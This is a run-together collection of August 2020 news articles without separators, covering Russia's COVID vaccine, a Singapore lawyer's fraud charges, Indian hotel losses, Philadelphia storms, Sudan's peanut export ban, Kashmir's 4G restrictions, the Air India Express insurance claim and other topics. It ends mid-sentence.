please visit https://www.newsfilecorp.com/release/61471 Metro Manila (CNN Philippines, August 11) A medical expert has warned President Rodrigo Duterte against the use of COVID-19 vaccine made by Russia citing safety concerns over its creation. Former United States Food and Drug Administration (US FDA) Associate Commissioner Peter Pitts emphasized the Russians are not transparent in sharing scientific data on how the vaccine was created. Using the Russian vaccine really is playing Russian roulette with peoples health, Pitts told CNN Philippines Rico Hizon on Tuesday. Pitts pointed out that Russias vaccine program is not recognized by the World Health Organization and historically, the country has quality issues on the medicines they created. He also highlighted Russia is testing vaccines they made to their military personnel, which he said is unethical because those should be first tested to human volunteers before being distributed in a large population. The former US FDA associate commissioner bared the Russian Ministry of Health hastily approves medical products with little or no testing, which is an improper procedure because the country must have a FDA-like agency to test these medicines. The only thing worse to no vaccine is a bad vaccine, Pitts said. The medical expert recommended the use of vaccines being developed now by known American and European pharmaceutical companies like Pfizer, BioNTech, and Moderna because these entities have excellent scientific and manufacturing knowledge of vaccines meant for global distribution. He hopes the vaccines made by these companies will be available by February or March 2021. Duterte announced Monday night that authorities from Moscow have reached out with an offer of Russian-developed vaccines, even saying that he will be the first to receive the dose to test if it is effective. On Tuesday, Russian President Vladimir Putin said Gamaleya Institute has registered the world's first vaccine and subjected his daughter to a dose, CNN International reported. Jeffrey Ong Su Aun, the 41-year-old managing partner of JLC Advisors, was first charged on 1 June. PHOTO: JLC Advisors SINGAPORE Lawyer Jeffrey Ong Su Aun, who was arrested across the Causeway last year after some $33 million held in escrow by his law firm went missing, appeared before the State Courts again on Tuesday (11 August). The 42-year-old received four fresh charges of criminal breach of trust as an attorney, involving a total of $11,700,020 from an escrow facility held by JLC Advisors for Catalist-listed Allied Technologies Limited. The moneys were placement proceeds for a share placement exercise carried out by Allied Technologies in October 2017. In all, Ong, who was the managing partner of JLC Advisors, now faces 57 charges for cheating, criminal breach of trust and forgery. Ong first made the headlines when he disappeared after the $33 million was found to be missing. Earlier court documents revealed that he allegedly fled to Malaysia after being pressed to account for the unauthorised withdrawals of client monies by the partners in his law firm on 13 May last year. He became uncontactable three days later and a police report was made about his alleged criminal breach of trust on 21 May. A warrant of arrest for Ong was then issued on 25 May, leading to his arrest by the Malaysian police in a hotel room four days later. Among his possessions was a stolen Malaysian passport belonging to a Malaysian Chinese man, whose face and age were similar to Ongs. Ong was later repatriated to Singapore and charged at the State Courts on 1 June with one count of cheating. The breakdown of his 57 charges to-date are as follows: 1 count of cheating CCJ Investment Limited into disbursing $6 million; 8 counts of forging documents to cheat CCJ Investments into disbursing $6 million; 16 counts of forging statement of accounts for JLC Advisors bank account for the purpose of cheating; 1 count of misappropriating US$4,851,289.15 from a bank account while acting as a solicitor of JLC Advisors; 8 counts of misappropriating $21,554,609.12 from the share placement proceeds for Allied Technologies while acting as a solicitor of JLC Advisors; 3 counts of misappropriating $12,285,065.85, the amount being the balance consideration from the sale of Allied Machineries (Shanghai), while acting as a solicitor of JLC Advisors; 14 counts of cheating over the issuance of false escrow notices between 3 November 2017 and 22 January 2019 to the board of directors of Allied Technologies; 1 count of forging a JLC Advisors partners signature on a cheque for $33,153,416.56, which was issued to Allied Technologies; 1 count of misappropriating $250,000 from a bank account, the amount being funds belonging to a client of JLC advisors, while acting as a solicitor of JLC advisors; and 4 counts of misappropriating $11,700,020 from a bank account, the amount being monies held in escrow, while acting as a solicitor of JLC Advisors. Story continues Police investigations are ongoing. The maximum penalty for criminal breach of trust as an attorney is life imprisonment, or a jail term of up to 20 years along with a fine. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Related stories: Lawyer Jeffrey Ong faces 14 new charges for cheating Allied Technologies Lawyer Jeffrey Ong handed fresh charges related to missing $33.2 million Lawyer Jeffrey Ong had stolen Malaysian passport, threw away his mobile phone Jeffrey Ong, lawyer in missing $33M case, slapped with 4 new charges Lawyer Jeffrey Ong, linked to missing $33M in funds, faces 8 new forgery charges The impact of COVID-19 on the hospitality sector refuses to moderate. The sector is expected to lose about Rs 90,000 crore in 2020 as against revenues of Rs 1.58 lakh crore in 2019, as per the latest estimates by hospitality consultancy firm HVS Anarock. The worst hit is going to be the unorganised segment which is expected to post losses of over Rs 41,000 crore in 2020. Overall, the occupancy rates are likely to be 34.5 per cent in 2020 as compared to 66.2 per cent in 2019. This level of occupancy rates are primarily driven by reluctance of people to travel as pandemic grows bigger in size. Hotel industry experts say that the confusing policies at the state level are affecting the potential demand for hotel stays. For instance, air travel from Pune to Mumbai would require stamping on the passengers' hands followed by 15 days of home quarantine. However, if the travel is made through road, the stamping is not mandatory. ALSO READ: Oyo to restore full salaries of staff in phased manner "We have requested the tourism minister to have a better coordination between Centre and states. There are towns and districts within states who follow different rules. For instance, Mahabaleshwar, which is a five-hour drive from Mumbai, is completely shut. There should be uniformity in rules. At a time when consumer confidence is low, this can be detrimental," says Gurbaxish Singh, vice president of the tourism body Federation of Hotel & Restaurant Associations of India (FHRAI). While the estimates vary, there are just about 40 per cent hotels operating across the country since the unlock phase started in June. The percentage of hotels operating in the organised space is much higher at 60 per cent. Also, the numbers vary from chain to chain. For instance, Club Mahindra, which is largely operating resort properties, has just 20 of its 69 properties operating in the country. Accor, which has more city hotels than leisure properties, is operating 46 out of 51 properties in India and Sri Lanka. "About 30 per cent of the hotels are going to shut forever. We expect this number to go up to 50 per cent if no relief comes from the government," says Singh of FHRAI. HVS Anarock expects that it will take about two years for the occupancies and three years for average daily rates (ADRs) to reach the pre-COVID levels. ALSO READ: COVID-19 pandemic may hit tourism, MSME, aviation sectors hard, says RBI survey Hotel sector experts say that Indian government had formed a task force in May to look into the crisis in the tourism sector. But this task force has met just once, and that meeting didn't yield any results. At this juncture, domestic travel operators believe that they have a fair chance of attracting tourists who usually travel abroad for holidays. But with the lack of consistency in policies, the sector might be losing out on this huge business opportunity. In 2019, the country had an estimated 22 million outbound tourists. "We will again be likely losing business to neighbouring countries like Sri Lanka, Thailand and UAE who have pulled up their socks, and have started campaigning," says a hotel executive. ALSO READ: Coronavirus crisis: Hotel, restaurant association suggests steps to reopen tourism in Himachal Pradesh Photo: BC Gov Flickr British Columbia's top health officials announced 46 new cases of COVID-19 in the province in the past 24 hours, including two from the Interior Health region. This brings the province's total number of positive cases to 4,111, and the Interior's total to 393 cases. There have been no new deaths since Monday, and 3,444 people have fully recovered from the virus. B.C. currently has 472 active COVID-19 cases, including eight in hospital, of which five are in ICU. No new healthcare outbreaks were announced over the past 24 hours. This leaves eight remaining active healthcare outbreaks, seven of which are in long-term care or assisted-living facilities and one in an acute-care facility. There have been no new community outbreaks, but exposure events continue to happen and new flights have been identified for cases recently, says provincial health officer Dr. Bonnie Henry. The Krazy Cherry Fruit. Co outbreak in Oliver has now been declared over. In a joint statement, provincial health officer Dr. Bonnie Henry and Minister of Health Adrian Dix encouraged residents to keep gatherings small and follow all of the recommended safety procedures. "As we look to fall, what we've learned from other jurisdictions is that transmission in a school setting is a reflection of what's happening in our communities; keeping our community transmission low and slow keeps us all safe. "What we do each day protects us, our families and friends and our communities. Let's continue to work together to bend the curve not the rules." Donald Trump on Tuesday vowed to fill any Supreme Court seat that might become vacant during the final months before November's election. Senate Majority Leader Mitch McConnell blocked then-President Barack Obama's attempts late in his second term to place Merrick Garland, a federal judge, on the high court after the passing of Justice Antonin Scalia. But the GOP president signalled he and the Kentucky Republican would move swiftly to put a third conservative justice on the court if a seat opens, even as polls show Mr Trump trailing former Vice President Joe Biden. "Absolutely, I'd do it. Sure," Mr Trump told radio host Hugh Hewitt on Tuesday. "Sure." "I would move quickly. Why not?" he added. Mr Trump, who views politics as a never-ending fight, described his plans as just because, in his view, the opposition would do the same thing if they controlled the White House and Senate. "I mean, they would. The Democrats would, if they were in this position," he said. "But you know, I'll be interested." The president has a point: Mr Obama tried to do just that, but failed to break through Mr McConnell's blockade. Mr Trump has said recently that he is revising his list of conservative Supreme Court candidates, signalling he plans to release it before the 3 November election. A Supreme Court vacancy before then has become even more charged because Democrats could take back the Senate. Liberal Justice Ruth Bader Ginsburg is 87, and is a four-time cancer survivor. She announced earlier this year she is battling the disease again, this time on her liver. Aug 15th Press Conference: Joined by Senator Gerald Allen, Pro-Life Leaders Call for Immediate Investigation of Patient Death Associated with Tuscaloosa Abortion Clinic NEWS PROVIDED BY CEC For Life Aug. 11, 2020 TUSCALOOSA, Ala., Aug. 11, 2020 /Christian Newswire/ -- On Saturday, August 15, at 9:00 AM, pro-life leaders, pastors, and Senator Gerald Allen will hold a press conference outside of the West Alabama Women's Center (WAWC) located at 535 Jack Warner Parkway. The coalition is calling for an immediate investigation of the clinic. A city-wide prayer vigil at 10:00 AM in Snow Hinton Park will follow. Speakers for the press conference include: Senator Gerald Allen, Alabama Senate Ellen Hermann RN, Pro-Life Tuscaloosa Ashley Wright, Students for Life of America Sarah Howell, CEC For Life On May 7, with the clinic under new ownership, citizens witnessed a woman leaving the clinic, pale and barely able to walk. Clinic employees confirmed she died shortly after. No record of a 911 call from the clinic was found. Questioning the clinic's role in this incident, citizens filed one complaint with the Board of Medical Examiners (BME) against Dr. Louis Payne, the only doctor seen that day, and another with the Department of Public Health (ADPH), asking them to investigate. According to the ADPH website, WAWC has not been inspected since January 2019, despite changing owners and, now, a woman dying just after leaving the clinic. National pro-life organizations have also joined the call for an investigation, including Life Legal Defense Foundation, Operation Rescue, and Students for Life of America. Sarah Neely of CEC For Life says, "In response to our complaint, ADPH not only refused to investigate this incident, it also claims that new owner Amanda Reyes does not require a new license, despite Alabama code stating a 'change in facility ownership' requires one." Neely reports the BME did respond with an investigation. However, that investigation will only affect Dr. Payne, who also just announced his retirement. ADPH is the only entity that can investigate whether the clinic followed proper protocols in this woman's tragic death. Cheryl Sullenger of Operation Rescue comments, "Part of the responsibility for this tragedy lies at the doorstep of the ADPH. If they had enforced their own licensing laws, this woman might still be alive." Attorney Allison Aranda of LLDF also states, "ADPH's refusal to do its legal and ethical duty to inspect Alabama's abortion clinics is putting women's lives at risk. We will continue to work with CEC For Life, as we have in the past, to shut down these dangerous death traps." Concerns have also been raised over Dr. Payne's replacement, Dr. Leah Torres. By her own admission, Torres was fired from a previous Utah job over concerns regarding her reputation. Fr. Terry Gensemer, director of CEC For Life, comments, "ADPH's refusal to investigate this clinic is unconscionable. According to its own regulations, and just plain decency and respect for a woman's life, an inspection is the least ADPH could do." Registered nurse Ellen Hermann, reports, "One or two women per month are rushed from here to DCH Regional Medical, usually in passenger cars driven by clinic employees. How can the ADPH pretend that kind of care deserves a license?" SOURCE CEC For Life CONTACT: Sarah Howell, 910-303-2601 Related Links https://www.cecforlife.com/ A woman runs during heavy rain and thunder storms in Philadelphia on Wednesday. Read more Once again downpours and strong thunderstorms developed across the Philadelphia region on Wednesday, taking down trees and wires, flooding roads, and prompting several water rescues. The storms targeted a corridor from Chester County, through part of Philadelphia and into South Jersey in areas still trying to dry out from last weeks soakings by Isaias and powerful storms on Friday. Flood warnings remained in effect until 6:45 p.m. A flash-flood watch for the entire region remains until 11 p.m. Before the rains even started, some of the regions streams already were about up to here with all this rain and primed for another slosh-over, the weather service said. Rainfall last week in some areas incredibly was close to 1,000% of normal, according to the Middle Atlantic River Forecast Center. Whats more, the atmosphere, possibly suffering from exhaustion, hasnt been in a big hurry to move things along, so showers that formed could stuck in place for awhile, moving like a car with a flat tire. READ MORE: Isaias aftermath brings a massive cleanup at flooded homes, prolonged outages, and a closed Vine Street Expressway Meanwhile, the weather service on Tuesday added one more to last weeks tornado count, confirming a twister that touched down in Milford, Sussex County, and crossed into Kent County. It was the third Delaware tornado of the week in a state that averages a grand total of one annually. In all, the Mount Holly office confirmed eight Isaias-related tornadoes in its service territory, including one in Maryland. On Monday it added one that cut a nearly four-mile path in New Castle County on Friday, with a peak wind speed of 105 mph. READ MORE: Not again! Severe storms trip through Philly region with up to a half-foot of rain. Why all the mayhem? In summer, the upper-air currents that steer weather systems can become quite lazy, so whatever happens tends to keep happening. You get stuck in a pattern, said Valerie Meola, meteorologist at the Mount Holly office. If youre stuck in this one, its good to keep a poncho handy. Last weeks countywide average rain totals look almost hallucinatory. Over eight inches fell upon Delaware County in the seven-day period that ended on Sunday. That was 947% of normal, according to the River Forecast Center in State College, Pa. Chester County, where over 10 inches was measured in West Chester from Isaias and Fridays outbreak, came in at 850% of normal. Based on the flash-flood guidance, the weather service says, it wouldnt take much to coax some streams out of their banks on Wednesday. The soils are soaked. READ MORE: A tornado outbreak killed 64 people in Pennsylvania 35 years ago. We still know terrifyingly little about the storms. The triggering mechanism for the expected storms is a cold front that has approached and, naturally, has stalled. Training and back-building storms are certainly possible, the weather service said, and strong downward winds, or downbursts, are possible. The favored area for storms appears to be Philadelphia and along the urban corridor, where runoff is a perennial issue. Once that round is out of the way, Meola said, more showers are possible Thursday, and Friday, and Saturday, and Sunday, and Monday. Sudan has been a top producer of peanuts for so long that the nutritious variety is called the "Sudani" -- but a government export ban has left traders reeling. Rimaz Ahmed, commercial director of Abnaa Sayed Elobeid, one of Sudan's major agricultural export companies, was stunned by the sudden decision of the trade ministry to ban the export of raw peanuts. The government says it wants Sudan to process the nuts inside the country to earn more money. But traders said they were not given time to prepare. "It's a shock because we were not warned," Ahmed said, of the April 1 restrictions. "Overnight, we lost important markets. Immediately, India replaced us." The two main customers for Sudan's peanuts were China and Indonesia. On the wall of Ahmed's office, a poster in English praising the crops -- "Peanuts: a Culture with the Flavours of Sudan" -- seems to be from another time. 'As if France banned wine' Peanut exporter Rimaz Ahmed says that a government export ban on one of Sudan's key crops has hit traders hard. By Ebrahim HAMID (AFP) The export ban was a shock for many in the African nation, which, according to the UN, is the fifth largest peanut producer, with 14 percent of world production. Protein-rich peanuts, which are also called groundnuts, provide rural employment and much needed foreign exchange. Before the trade ban, peanuts were Sudan's fifth biggest international earner after gold, sesame, oil and livestock. The decision comes at a tough time for the country. Sudan has endured years of international isolation and sanctions, and is now emerging from decades of dictatorship. Longtime strongman Omar al-Bashir was toppled last year after months of mass demonstrations. For Sudan, peanuts are a flagship product, like another of its major exports, gum arabic. "It is as if France banned the export of wine overnight, or if Italy stopped selling its spaghetti abroad," Ahmed said. Income from the crop was rising. Sudan produced 1.5 million tonnes in 2019, worth 205 million dollars, according to central bank figures, up from 59 million dollars earned in 2018. Trade Minister Madani Abbas Madani defended halting exports "to maximise the market value of peanuts and the added value of Sudanese products, in light of climate change which affects the quality" of the product. For the government, the hope is that Sudan can earn more money through selling products from processed peanuts -- such as oil or butter. Peanuts can also be used in industrial products, including cosmetics. Sudanese farmers like Khair Daoud depend on peanut crops as a key part of their income. By ASHRAF SHAZLY (AFP) Critics of the ban on exporting unprocessed nuts have questioned why it was introduced so abruptly, suggesting that it might be a personal whim of the trade minister. But the minister has insisted his decision was "within the framework of government policy". He has yet to convince traders, however. "We agree in principle it may be good for the country, but we are not at all prepared," Ahmed said. "We have neither the machines nor the know-how. It will take time -- and in the meantime we have lost our big customers." For Sudan, a predominantly agricultural country, the ban could have a major impact on rural employment. 'Shot itself in the foot' Farmer Khair Daoud tends his field of peanuts, a crop well suited to growing in Sudan. By ASHRAF SHAZLY (AFP) The news has not yet reached some farmers. In Ardashiva, a village 70 kilometres (40 miles) south of the capital Khartoum, Khair Daoud, 31, digs around his peanut plants. This year, he has planted over 12 acres (almost five hectares) of peanuts, saying that if prices rise as they have done in recent years, he would nearly double his production next season. "If not, I will rely on okra, cotton or sorghum," the farmer said, dressed in traditional flowing white robes, with a neat skullcap of the same colour. "I haven't heard anything about exporting. I don't know if my buyers are selling my produce locally, or for export." Peanuts are well suited to Sudan's climate, growing both under irrigation in the centre and east, or from rainwater in war-torn Darfur in the west, or Kordofan in the south. At the chamber of commerce in Khartoum, businessman Izzeldin Malik said the government's ban was self-defeating. "With this decision, Sudan shot itself in the foot," said Malik, owner of the Rubicon peanut export company. "While the deficit in Sudan's trade balance should be reduced, the minister made a decision to increase it." Scientists from the UK's University of Bath take an important step towards understanding the interaction between layers of atomically thin materials arranged in stacks Scientists at the University of Bath have taken an important step towards understanding the interaction between layers of atomically thin materials arranged in stacks. They hope their research will speed up the discovery of new, artificial materials, leading to the design of electronic components that are far tinier and more efficient than anything known today. Smaller is always better in the world of electronic circuitry, but there's a limit to how far you can shrink a silicon component without it overheating and falling apart, and we're close to reaching it. The researchers are investigating a group of atomically thin materials that can be assembled into stacks. The properties of any final material depend both on the choice of raw materials and on the angle at which one layer is arranged on top of another. Dr Marcin Mucha-Kruczynski who led the research from the Department of Physics, said: "We've found a way to determine how strongly atoms in different layers of a stack are coupled to each other, and we've demonstrated the application of our idea to a structure made of graphene layers." The Bath research, published in Nature Communications, is based on earlier work into graphene - a crystal characterised by thin sheets of carbon atoms arranged in a honeycomb design. In 2018, scientists at the Massachusetts Institute of Technology (MIT) found that when two layers of graphene are stacked and then twisted relative to each other by the 'magic' angle of 1.1, they produce a material with superconductive properties. This was the first time scientists had created a super-conducting material made purely from carbon. However, these properties disappeared with the smallest change of angle between the two layers of graphene. Since the MIT discovery, scientists around the world have been attempting to apply this 'stacking and twisting' phenomenon to other ultra-thin materials, placing together two or more atomically different structures in the hope of forming entirely new materials with special qualities. "In nature, you can't find materials where each atomic layer is different," said Dr Mucha-Kruczynski. "What's more, two materials can normally only be put together in one specific fashion because chemical bonds need to form between layers. But for materials like graphene, only the chemical bonds between atoms on the same plane are strong. The forces between planes - known as van der Waals interactions - are weak, and this allows for layers of material to be twisted with respect to each other." The challenge for scientists now is to make the process of discovering new, layered materials as efficient as possible. By finding a formula that allows them to predict the outcome when two or more materials are stacked, they will be able to streamline their research enormously. It is in this area that Dr Mucha-Kruczynski and his collaborators at the University of Oxford, Peking University and ELETTRA Synchrotron in Italy expect to make a difference. "The number of combinations of materials and the number of angles at which they can be twisted is too large to try out in the lab, so what we can predict is important," said Dr Mucha-Kruczynski. The researchers have shown that the interaction between two layers can be determined by studying a three-layer structure where two layers are assembled as you might find in nature, while the third is twisted. They used angle-resolved photoemission spectroscopy - a process in which powerful light ejects electrons from the sample so that the energy and momentum from the electrons can be measured, thus providing insight into properties of the material - to determine how strongly two carbon atoms at a given distance from each other are coupled. They have also demonstrated that their result can be used to predict properties of other stacks made of the same layers, even if the twists between layers are different. The list of known atomically thin materials like graphene is growing all the time. It already includes dozens of entries displaying a vast range of properties, from insulation to superconductivity, transparency to optical activity, brittleness to flexibility. The latest discovery provides a method for experimentally determining the interaction between layers of any of these materials. This is essential for predicting the properties of more complicated stacks and for the efficient design of new devices. Dr Mucha-Kruczynski believes it could be 10 years before new stacked and twisted materials find a practical, everyday application. "It took a decade for graphene to move from the laboratory to something useful in the usual sense, so with a hint of optimism, I expect a similar timeline to apply to new materials," he said. Building on the results of his latest study, Dr Mucha-Kruczynski and his team are now focusing on twisted stacks made from layers of transition metal dichalcogenides (a large group of materials featuring two very different types of atoms - a metal and a chalcogen, such as sulphur). Some of these stacks have shown fascinating electronic behaviour which the scientists are not yet able to explain. "Because we're dealing with two radically different materials, studying these stacks is complicated," explained Dr Mucha-Kruczynski. "However, we're hopeful that in time we'll be able to predict the properties of various stacks, and design new multifunctional materials." ### When Street art and cartoon culture collide Kenny Scharfs Black Rubble Following the age-old advice to paint what he loved, the young Kenny Scharf focused on the Flintstones. In 2012, decades after the death of his close friends Jean-Michel Basquiat and Keith Haring, he revisited the theme adding a dark Warholian twist A week after moving to New York from his native California in 1978, Kenny Scharf met fellow artists Keith Haring and Jean-Michel Basquiat. We all had this instant connection, he said recently. The three of us were a bit of a posse. Or an unholy trinity, as certain observers saw it. Scharf, Haring and Basquiat took to the streets of East Village and spearheaded the graffiti art scene of the late 1970s and early 1980s. The Californians work consisted of vivid, spray-painted fantasias in a style he dubbed Pop surrealism. Kenny Scharf, left, his mentor Andy Warhol and close friend Keith Haring at Elizabeth Saltzmans birthday party at Il Cantinori on 16 June, 1986. Photo: Patrick McMullan/Getty Images Fred and Wilma Flintstone were regular subjects, likewise Elroy Jetson often in mutant form, with the body of a snake. Scharf was following the advice hed received as a very young man to paint what you love, and what he loved were the cartoons of Hanna-Barbera. The same characters have continued to appear in his art in the decades since, although his practice has moved indoors. The painting Black Rubble, from 2012, is being offered at Christies First Open online sale from 4 to 18 August. Kenny Scharf (b. 1958), Black Rubble, 2012. Oil and acrylic on linen with powder-coated frame. 60 x 72 in. Estimate: $70,000-100,000. Offered in First Open Online, 4-18 August It features the Flintstone familys neighbours, the Rubbles, in their foot-powered prehistoric car. Theyre set against a background that resembles a psychedelic starscape, Scharf having spattered and scattered his paint in an array of Day-Glo colours. Its a masterly combination of the figurative and the abstract, says Noah Davis, Post-War and Contemporary Art specialist at Christies. Where Scharfs early work has a raw energy youd expect from an artist associated with graffiti, his paintings from the 21st century tend to be more aesthetic. Black Rubble shows an artist at his most technically accomplished. Its a beautifully realised picture. Why, though, are Betty, Barney, Bamm-Bamm and their vehicle painted black? Was it a case of creating a contrast between the monochrome and the mix of bright colours behind them? Not entirely. Its also a nod to Andy Warhol, who became a friend and something of a mentor to Scharf when the latter moved to New York aged 19. Andy Warhol (1928-1987), Marilyn (Reversal), painted in 1979. Synthetic polymer and silkscreen ink on canvas. 18 x 13 in (45.7 x 35.2 cm). Sold for $2,345,000 on 12 May 2015 at Christies in New York. Artwork: 2020 The Andy Warhol Foundation for the Visual Arts, Inc. / Licensed by DACS, London Shortly after that, Warhol began his so-called Reversals series, which would occupy him in the final years of his career. This saw a return to the early-1960s silkscreen imagery of Marilyn Monroe, but with a twist. Warhol now expressed the stars face in negative: ghostly and dark. In 2012, Scharf achieved a similar effect and twist on the Rubble family in Black Rubble returning to the subject matter with which hed launched his own career. Kenny Scharf and Hanna-Barbera Born in 1958 in the San Fernando Valley north of Los Angeles, Scharf still remembers the thrill of when his parents first bought a colour television. He was around seven and admits to being fixated not just by programmes such as The Flintstones and The Jetsons, but also the dot formations on the screen. Id go really close, my eyes right on them, he says, and just totally hallucinate on the colour dots [to the point where I] didnt see what the image was anymore. Scharf had his first gallery show in New York in 1983 and was included in the Whitney Biennial of 1985. The Manhattan art scene of which hed been a key part would totally dissolve by the end of the decade, however. Basquiat died of a drug overdose in 1988, Haring of AIDS in 1990. Street art has become such a hugely popular genre, and Scharfs influence on key figures such as Invader and KAWS is clear Scharfs love affair with cartoons reached its apogee in 2002, when the pilot of his own animation show, The Groovenians, debuted on the Cartoon Network. Sadly for him, it wasnt picked up for a full series. Around this point, its fair to say his profile wasnt at its highest. Things have definitely changed in recent years, though, Davis says. Street art has become such a hugely popular genre, and his influence on key figures such as Invader and KAWS is clear. The demand and prices for Scharfs work have risen markedly as a result. Kenny Scharf (b. 1958), LOVE, executed in 1982. Acrylic and spray paint on canvas. 60 x 72 inches (152.4 x 182.9 cm). Sold for $525,000 on 5 March 2020 at Christies in New York In March this year a Flintstones painting called LOVE (1982) fetched $525,000 at Christies in New York, the highest price ever paid for a Scharf work at auction. The previous record had been set just a few months earlier, in November 2019, when yet another Flintstones painting, Zoom (2009), fetched $200,000 at the same venue. Sign up today Christie's Online Magazine delivers our best features, videos, and auction news to your inbox every week Subscribe The Centre on Tuesday informed it will lift restrictions on high-speed 4G mobile internet services in one district each of Jammu and Kashmir divisions after August 15 on a trial basis. Attorney general KK Venugopal informed a three-judge bench headed by justice NV Ramana that a special committee constituted based on the top courts May 11 directions to review restrictions on mobile internet speed in J-K took inputs from security forces and local agencies before concluding on August 10 that threat perception due to terrorist activities in the Union territory continues to be high. Also Read: From habeas corpus to 4G services in Jammu and Kashmir: Pleas in Supreme Court Overall situation is still not conducive to lift the restrictions in J-K, Venugopal said. Venugopal said the restrictions will be lifted for two months in two districts, which have low intensity of terrorist activities, but on an experimental basis. The step will be reviewed periodically every week, Venugopal added. The Supreme court was hearing a petition filed by Foundation for Media Professionals, a non-government organisation, in June seeking the initiation of contempt proceedings against the Centre and J-K administration for the failure to comply with the top courts May 11 directions to review restrictions on mobile internet speed in the union territory. The top court closed the contempt case while appreciating the stand take by the Centre. This is a good stand by the respondent, justice R Subhash Reddy, who was on the bench, remarked. This is a step forward, petitioners counsel Huzefa Ahmadi acknowledged.However, the court asked the Centre to respond to an interim application by the petitioner which pointed out that the government is not publishing on public domain, copy of orders reviewing internet restrictions. As per the Supreme Courts January 10 judgment on Anuradha Bhasins case, orders by government authorities imposing restrictions on internet have to be put out in public domain. The Centre has to file its response within two weeks after which the matter will be heard.In its last hearing, the top court had said that the Centre should explore the possibility of restoring 4G mobile internet services in Jammu and Kashmir in view of the statements of GC Murmu, the former lieutenant governor of the Union territory, backing the restoration. Also Read: Election Commissions rare reprimand for Kashmir Lt Guv over remarks on timing of elections L-G Murmu has said that there is no difficulty in restoring 4G. You have to give an explanation to that, justice R Subhash Reddy told solicitor general Tushar Mehta, who appeared for the Jammu & Kashmir administration, last Friday. Murmu, who was succeeded by Manoj Sinha as the lieutenant governor on Friday, had said on July 24 the restoration of 4G services will not be a problem and Pakistan will continue with its propaganda even if the mobile internet speed is restricted to 2G. The Centre has cited Islamabads propaganda while justifying the restrictions. The Centre on July 28 told the Supreme Court it will verify media reports that said Murmu has advocated the restoration of high-speed 4G internet services. This came days after the Centre filed an affidavit before the court on July 21, saying a special panel constituted as per the latters May 11 order has decided against any relaxations for now. The government said the restrictions would continue for two more months before they are reviewed again. It added the panel constituted for the review on June 10 considered all aspects of the matter, including terror strikes, before deciding to continue the restrictions on 4G services. Also Read: 4G restoration in J&K: Govt to verify reports on L-G GC Murmus comment The Supreme Court on May 11 passed its order after the NGO in April challenged restrictions on mobile internet speed to 2G. The NGO sought restoration of 4G services saying patients, doctors, and the general public were unable to access the latest information, guidelines, advisories and restrictions about Covid-19 pandemic because of the restrictions. It pointed out that slow internet speeds make telemedicine, or online consultation, impossible.It had refrained from passing directions to restore 4G services and instead ordered a constitution of the panel comprising high-level government officers, including the Union home secretary, to take a call on the matter. The NGO in June filed the contempt petition saying there was no information available whether the constitution of the panel was notified and whether it has conducted any meetings or passed any orders.A communications blackout and a lockdown were imposed in Jammu and Kashmir in August last year as part of measures to prevent protests against the Centres move to divest the region of its special status. Most of the restrictions have since been eased even as mobile internet remains restricted. Chennai, Aug 11 : The Air India Express plane that crashed at Kozhikode airport on Friday evening was owned by the airline and was not a leased one, said an airline official. Out of its total fleet of 25 Boeing 737-800 NG aircraft (post crash 24 aircraft), Air India Express owns 17 aircraft (16 post crash) and the balance eight were taken on lease. A senior insurance industry official told IANS that the entire claim amount will be paid to the airline if it is an owned aircraft. If there is any loan taken on the plane then the financier will also have a financial interest in the crashed craft. All the owned aircraft of Air India Express underwent refurbishment of the cabin involving a change of seats, carpets and curtains. The airline had said the refurbishment project resulted in the empty weight of the aircraft reducing by about 800 kg due to the lighter weight of the new seats, resulting in the gain of additional traffic payload and revenue earning capability to that extent on every flight. With the lead reinsurer of the plane approving the claim for total loss of the Dubai-Kozhikode flight, Air India Express will get the entire claim of $50 million. "Like the consortium of primary insurers, a consortium of reinsurers has insured the aircraft of Air India and its subsidiaries like Air India Express. The lead reinsurer, AIG London, has approved the hull claim (claim for loss of aircraft). Other reinsurers in the consortium will also give their approval," the senior official with one of the four insurers told IANS on Monday, preferring anonymity. A consortium of four public sector insurers -- New India Assurance, National Insurance Company Ltd, Oriental Insurance Company Ltd and United India Insurance Company Ltd -- has insured the fleet of about 170 aircraft belonging to Air India and its subsidiaries, including Air India Express. The airline has taken policies covering the aircraft or hull and liability for third party and passengers. According to an official, the total liability under the liability policy taken out by Air India is about $750 million. The compensation to be paid to the passengers will be as per the Montreal Convention. According to the official, the lead reinsurer has also estimated the interim claim amount to be paid for the total loss of the aircraft. The official said the loss adjuster has been intimated. Normally the name of the loss adjuster is also part of the reinsurance contract and in this case, it is Charles Taylor Adjusting, London. "The aircraft hull insurance is an 'all risk policy'. The explicit risk exclusions define what is covered. Many of the exclusions like war, terrorism risk, and claims deductible can be covered for a premium," the official said. As a part of the claims procedure, the insurers/reinsurers will call for documents like the accident investigation report, aircraft maintenance log book and pilot log book, among others. The official also said that Boeing -- the manufacturer of the aircraft -- will also be interested in the accident to know the reasons behind the mishap. The ill-fated Air India Express skidded off the runway (technically known as runway excursion) of the Kozhikode airport and fell into a valley before breaking into two pieces, killing 18 persons and leaving scores injured. As the aircraft is now a total loss, the scrap value will be calculated and adjusted against the claim amount. In the case of passenger liability or compensation to be paid to the passengers or the legal heirs of the passengers, a legal team will be there to ascertain the legal position of the claimant. Passenger liability also covers the baggage value. According to an official, the total liability under the liability policy taken out by Air India is about $750 million. The compensation for a passenger's death or bodily injury will be calculated as per the Montreal Convention which is roughly up to $175,000 per passenger. Industry officials told IANS that the direct claim hit for the consortium of four insurers will be only about 10 per cent of the aircraft value. The balance value of the risk has been reinsured with Indian reinsurer GIC Re -- 5 per cent obligatory cession and 85 per cent with reinsurers with the lead underwriter, AIG, London. The total premium earned from Air India was about $36 million. The share of New India in the premium and claims will be 40 per cent and the balance 60 per cent will be shared equally by National Insurance, Oriental Insurance and United India. The official said the total commercial aviation insurance market in India with about 510 aircraft will be about $90 million. "The risk is concentrated on a small base while the value is very high," the official said. (Venkatachari Jagannathan can be contacted at v.jagannathan@ians.in) Latest updates on Kerala Air India Plane Crash -- The story has been published from a wire feed without any modifications to the text Morro Proventorio informal community in Brazil. Credit: University of Warwick A team of international development researchers, working with some of the poorest neighborhoods in Brazil and Colombia to mitigate the effects of natural hazards, have transformed their project to help strengthen those communities' resilience to the COVID-19 pandemic. The researchers, led by the University of Warwick (UK), were collaborating with residents of Morro do Preventorio in Brazil and El Pacifico in Colombia to gather local real-time data from ordinary citizens on the risks of deadly landslides. Their aim was to mobilize these communities to work together, co-developing tools with which to collate data, and giving the people the means to protect each other against disaster. When COVID-19 struckdisproportionately affecting less wealthy urban regions like thesethe researchers and community leaders quickly agreed to adapt the immediate focus of the project from landslide risks to those caused 